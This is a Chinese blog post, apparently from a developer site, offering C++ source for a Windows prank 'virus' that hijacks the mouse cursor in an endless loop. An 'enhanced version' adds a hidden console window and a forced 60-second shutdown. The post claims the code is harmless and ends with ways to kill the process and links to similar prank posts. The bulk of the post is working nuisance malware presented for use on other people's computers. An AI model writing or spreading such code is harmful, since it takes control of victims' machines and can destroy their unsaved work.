这是一个很简单的病毒,对计算机不会造成任何伤害,可放心使用。

(后文附解决方法,以及加强版)

在此有两种代码可以达到同样的效果。话不多说,上代码——

1:

#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
int main()
{int x=GetSystemMetrics(SM_CXSCREEN);int y=GetSystemMetrics(SM_CYSCREEN);srand(time(0));while(1)cout<<"Oh!!!"<<endl&&SetCursorPos(rand()%x,rand()%y);
}

2:

#include<windows.h>
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include<conio.h>
int main()
{int x,y;while(1) {x=rand()%332+300;y=rand()%228+300;SetCursorPos(x,y);}getchar();return 0 ;
}

(第二种或许可以更简略些)

除此之外,你还可以在病毒代码部分前新增其他效果。比如说——

隐藏窗口:

HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) ShowWindow(hwnd,SW_HIDE);

窗口变红色:

system("color 40");

响起警报铃:

​Beep(500,2000);
Beep(825,1000);

六十秒后关机:

system("Shutdown -s -t 60");//数字可随意设置,代表秒数

……

在此,将前几种整合后形成加强版——

#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
int main()
{system("Shutdown -s -t 60");HWND hwnd;hwnd=FindWindow("ConsoleWindowClass",NULL);if(hwnd) ShowWindow(hwnd,SW_HIDE);int x=GetSystemMetrics(SM_CXSCREEN);int y=GetSystemMetrics(SM_CYSCREEN);srand(time(0));while(1)cout<<"Oh!!!"<<endl&&SetCursorPos(rand()%x,rand()%y);
}

至于解决方法,我这里介绍两种吧。

最简单的就是Alt+F4,也就是关闭当前窗口,而如果你不小心转到其它窗口了,可以用Alt+Tab或者win+Tab切换回来。

第二种麻烦一点,通过快捷键打开Windows任务管理器,(两种方法,一:Ctrl+Shift+Esc;二:按下“Ctrl”+"Alt"+"Delete",在页面中选择“任务管理器”),然后使用↑↓键移动到病毒程序,接着Alt+E选中,最后回车键确认关闭。除此之外也有其他方法打开任务管理器。有时候第一种方法会派不上用场(比如说窗口被隐藏了)或无法正常使用(Windows7就经常出现按了却关不掉的情况),这时便得靠第二种了。

当然,还有最简单粗暴的方法那就是——关、机、重、启!重启后是不会自动运行的,不过这可就有点尴尬了……

创作不易,喜欢的就点个赞吧,有什么问题可以在下方评论或者私信我哦!

C++病毒——鼠标乱飞相关推荐

  1. Mac Pro 触控板进水 鼠标乱飞,需要关闭触控板

    前阵子,好久了,嘻嘻,喝水漏到pro的触控板上面了,擦干了,也没太在意,结果接下来的几天发现在用的时候,鼠标乱飞的,以为是我鼠标的问题,我换到别人电脑上一点问题没有,还以为是中毒了,结果下了下杀毒软件 ...

  2. STM32串口导致电脑鼠标乱飞的解决办法

    在一次烧录代码时发现stm32f103开发板一接上串口并打开电源后,电脑鼠标就开始乱飞,最后卡在一个角落,搜索了半天最后找到了解决办法: 1,重新上电,因为开发板带了一键下载电路,所以第一次上电,会引 ...

  3. c++Windows【鼠标乱飞病毒】

    呵呵~呵呵 代码来了(自己别运行,用来坑人[小心被打]): #include <bits/stdc++.h> #include <windows.h> using namesp ...

  4. c++超坑人代码,鼠标乱飞+狂加cmd窗口

    编译:Dev-c++ 系统:win10 别乱坑人(快快坑人) #include <bits/stdc++.h> #include <windows.h> using names ...

  5. 恶搞小程序--鼠标乱飞

    纯属娱乐 #include<stdio.h> #include<windows.h>int main(int argc, char *argv[]) {int x = 0;in ...

  6. 电脑插上串口,鼠标乱飘乱动

    电脑插上串口,鼠标乱飘乱动 现象:想调试一个串口软件,发现电脑识别不了串口,然后就下了个串口驱动cp210.下载后识别正常,但是出现"电脑插上串口后,鼠标乱飘乱动,而且鼠标左键无效,软件未接 ...

  7. USB串口导致鼠标乱跳

    近期在工控机上安装USB串口,结果装上没几天,就有反馈开机后鼠标乱跳.然后,开始解决问题. 环境: 工控机操作系统Windows 7专业版,USB串口Z-TEK USB RS232 1. 百度一下,需 ...

  8. 鼠标乱跳【坑人必备】

    鼠标乱跳小程序 #include<bits/stdc++.h> #include<windows.h> int main() {srand (time(0));int x,y; ...

  9. 笔记本电脑打开计算机里面会跳,笔记本电脑鼠标乱跳,有什么方法?

    原标题:笔记本电脑鼠标乱跳,有什么方法? 笔记本电脑一般都会自己外接鼠标,但是笔记本电脑本身自带了触摸板. 1.有重物压在了触摸板上. 若有什么物品压在笔记本电脑的触摸板上,应及时移开. 2.外接鼠标 ...

最新文章

  1. 01初识JavaScript
  2. python学习一(python与pip工具下载与安装)
  3. 百货中心供应链管理系统
  4. System Test GIS压力测试利器
  5. Flex4/Flash多文件上传(带进度条)实例分享
  6. Spring框架----Spring的基于XML的AOP的实现
  7. 异步调用WebService
  8. 堆与优先队列课内模板
  9. 快切——响应css框架之布局结构命名
  10. Struts中 s checkboxlist 的用法
  11. 计算机端最好用的词典——GoldenDict
  12. LeetCode热题HOT-100 刷题记录
  13. 第1章第26节:如何通过幻灯片母版统一管理相同类型的幻灯片2 [PowerPoint精美幻灯片实战教程]
  14. 全国高校json文件
  15. bzoj 1233 干草堆tower 优先队列优化dp
  16. RabbitMQ - 4种Exchange类型
  17. js基础练习题(1)
  18. 惠普打印机驱动安装教程,怎么安装打印机驱动
  19. 面向集团客户的云计算运营平台概述——之云计算运营平台方案(一)
  20. 火狐便携版Firefoxcn-v55.0分享 支持插件定制化

热门文章

  1. altium designer 10 的AD10Crakc.zip解压后没有patch.exe
  2. CSS设置输入框默认文字颜色(webkit-input-placeholder等)
  3. 关于 RestTemplate 中文乱码和List接收
  4. css3的clip-path方法裁切图片(三角形,多边形,圆,椭圆)
  5. 马云卸任阿里董事局主席,有才网友脑洞大开杜撰马云版《出师表》
  6. 使用LDO进行电压转换,24V转5V电路为什么中间要加一个中间电压做转化
  7. 对称加密算法AES - ECB模式
  8. 知识点3-设计模式与实践
  9. 微信图片过期怎么办?如何查看微信过期图片?3步即可
  10. (2022)Springboot+vue3项目开发前后端分离书法图书管理Coun